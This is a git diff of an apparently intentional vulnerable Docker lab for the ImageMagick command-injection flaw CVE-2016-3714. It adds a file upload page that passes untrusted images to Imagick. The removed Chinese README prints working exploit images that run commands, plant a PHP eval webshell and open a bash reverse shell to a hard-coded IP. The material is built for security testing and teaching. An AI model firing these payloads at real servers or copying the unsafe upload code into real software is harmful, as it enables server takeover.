diff --git a/i/imagemagick/1/Dockerfile b/i/imagemagick/1/Dockerfile index c1895d0..f66c023 100644 --- a/i/imagemagick/1/Dockerfile +++ b/i/imagemagick/1/Dockerfile @@ -1,4 +1,4 @@ -FROM medicean/vulapps:base_lamp +FROM madhatter37/vulnerable_apps:base_lamp_1.0.0 COPY src/ImageMagick-6.7.9-10.tar.gz /tmp/ImageMagick-6.7.9-10.tar.gz COPY src/imagick-3.3.0.tar.gz /tmp/imagick-3.3.0.tar.gz @@ -12,11 +12,13 @@ RUN set -x \ && tar -zxf /tmp/imagick-3.3.0.tar.gz -C /var/www/ \ && tar -zxf /tmp/re2c-0.13.7.5.tar.gz -C /var/www/ -COPY src/phpinfo.php /var/www/html/phpinfo.php -COPY src/testimag.php /var/www/html/testimag.php -COPY src/poc.php /var/www/html/poc.php +RUN mkdir /var/www/html/file_upload +RUN mkdir /var/www/html/file_upload/form +RUN mkdir /var/www/html/uploads COPY src/index.php /var/www/html/index.php -COPY src/poc.png /poc.png +COPY src/poc.php /var/www/html/file_upload/poc.php +COPY src/upload.php /var/www/html/file_upload/form/upload.php +COPY src/default.png /var/www/html/uploads/default.png RUN set -x \ && chown -R www-data:www-data /var/www/html/ \ @@ -55,4 +57,4 @@ COPY src/start.sh /start.sh RUN chmod a+x /start.sh EXPOSE 80 -CMD ["/start.sh"] +CMD ["/start.sh"] \ No newline at end of file diff --git a/i/imagemagick/1/src/default.png b/i/imagemagick/1/src/default.png new file mode 100644 index 0000000..376cc86 Binary files /dev/null and b/i/imagemagick/1/src/default.png differ diff --git a/i/imagemagick/1/src/index.php b/i/imagemagick/1/src/index.php index 69863dc..13973c5 100644 --- a/i/imagemagick/1/src/index.php +++ b/i/imagemagick/1/src/index.php @@ -1,439 +1,3 @@ - - - - -README - - - -

ImageMagick 命令执行漏洞(CVE-2016–3714)环境

- -

说明

- -

感谢 @justkg 提供原始环境。

- -

漏洞信息

- - - -

5月3日,ImageMagick官方披露称,目前ImageMagick存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有攻击代码时,可被远程执行任意代码,进而导致攻击者控制服务器。

- -

ImageMagick是一款开源图片处理库,支持 PHP、Ruby、NodeJS 和 Python 等多种语言,使用非常广泛。包括 PHP imagick、Ruby rmagick 和 paperclip 以及 NodeJS imagemagick 等多个图片处理插件都依赖它运行。

- -

漏洞相关代码

- -

ImageMagick 在 MagickCore/constitute.cReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegate。

- -

MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。

- -
99    "  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"
- -

最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令

- -
#if !defined(MAGICKCORE_HAVE_EXECVP)
-  status=system(sanitize_command);
-#else
-  if ((asynchronous != MagickFalse) ||
-      (strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
-    status=system(sanitize_command);
-  else
-    {
-      pid_t
-        child_pid;
-
- -

镜像信息

- -

本镜像中提供了本地测试 PoC 和 远程测试 PoC

- - - - - - - - - - - - - - - - - - - -
类型
开放端口80
远程 PoC/poc.php
- -

获取环境:

- -
    -
  1. 拉取镜像到本地

    - -
    $ docker pull medicean/vulapps:i_imagemagick_1
  2. -
  3. 启动环境

    - -
    $ docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
    - -
    -

    -p 8000:80 前面的 8000 代表物理机的端口,可随意指定。

    -
  4. -
- -

使用与利用

- -

访问 http://你的 IP 地址:端口号/

- -

PoC 与 Exp 使用

- -

本地测试

- -

在容器中 /poc.png 文件内容如下:

- -
push graphic-context
-viewbox 0 0 640 480
-fill 'url(https://evalbug.com/"|ls -la")'
-pop graphic-context
- -

构建时已经集成在容器中,可手动修改第 3 行的命令。

- -

在物理机上直接执行下面命令验证漏洞:

- -
$ docker exec i_imagemagick_1 convert /poc.png 1.png
- -

或进入 docker容器 shell 中执行:

- -
$ convert /poc.png 1.png
- -

如果看到 ls -al 命令成功执行,则存在漏洞。

- -

远程命令执行测试

- -

远程命令执行无回显,可通过写文件或者反弹 shell 来验证漏洞存在。

- -
    -
  1. 写一句话到网站根目录下:

    - -
    push graphic-context
    -viewbox 0 0 640 480
    -fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")'
    -pop graphic-context
  2. -
  3. 反弹 shell:

    - -
    push graphic-context
    -viewbox 0 0 640 480
    -fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
    -pop graphic-context
  4. -
- -

将上述两个 Exp 经过 base64 编码后发送到远程 poc.php,querystring 的 keyimg

- -

也可修改 poc.py 后执行。

- - - - - + \ No newline at end of file diff --git a/i/imagemagick/1/src/phpinfo.php b/i/imagemagick/1/src/phpinfo.php deleted file mode 100644 index 5b63fb8..0000000 --- a/i/imagemagick/1/src/phpinfo.php +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/i/imagemagick/1/src/poc.php b/i/imagemagick/1/src/poc.php index 69cbe3b..8dcae56 100644 --- a/i/imagemagick/1/src/poc.php +++ b/i/imagemagick/1/src/poc.php @@ -1,25 +1,17 @@ readImageBlob($imageBlob); - - header("Content-Type: image/png"); - echo $imageBlob; +$cookie_name = 'image_path'; +$default_path = '../uploads/default.png'; +if (!isset($_COOKIE[$cookie_name])) { + setcookie($cookie_name,$default_path, time() + (86400*30),"/"); } -readImageBlob(); -?> \ No newline at end of file +?> + + +Thumbnail:
+
+Upload a file:
+Check if a valid image
+ +
+ + \ No newline at end of file diff --git a/i/imagemagick/1/src/poc.png b/i/imagemagick/1/src/poc.png deleted file mode 100644 index c4f8640..0000000 --- a/i/imagemagick/1/src/poc.png +++ /dev/null @@ -1,4 +0,0 @@ -push graphic-context -viewbox 0 0 640 480 -fill 'url(https://evalbug.com/"|ls -la")' -pop graphic-context diff --git a/i/imagemagick/1/src/testimag.php b/i/imagemagick/1/src/testimag.php deleted file mode 100644 index ea3ce49..0000000 --- a/i/imagemagick/1/src/testimag.php +++ /dev/null @@ -1,9 +0,0 @@ -newPseudoImage(100, 100, "magick:rose"); -$im->setImageFormat("png"); -$im->roundCorners(5,3); -$type=$im->getFormat(); -header("Content-type: $type"); -echo $im->getimageblob(); -?> \ No newline at end of file diff --git a/i/imagemagick/1/src/upload.php b/i/imagemagick/1/src/upload.php new file mode 100644 index 0000000..326a35d --- /dev/null +++ b/i/imagemagick/1/src/upload.php @@ -0,0 +1,35 @@ +"; + $uploadOk = 1; + } else { + echo "File is not an image."."
"; + $uploadOk = 0; + } + } + if ($imageFileType != "png" && $imageFileType != "jpg" && $imageFileType != "jpeg" && $imageFileType != "gif") { + echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed"."
"; + $uploadOk = 0; + } + if ($uploadOk == 0) { + echo "Sorry, your file was not uploaded."."
"; + } else { + $image = new Imagick($_FILES['upfile']['tmp_name']); + $image->thumbnailImage(100,100); + if ($image->writeImage($target_file)) { + setcookie('image_path',$target_file); + echo "The file ". basename($_FILES['upfile']['name']). " has been uploaded to " . $target_file."
"; + } else { + echo "Sorry, there was an error uploading your file."."
"; + } + } +} +?> +Return to main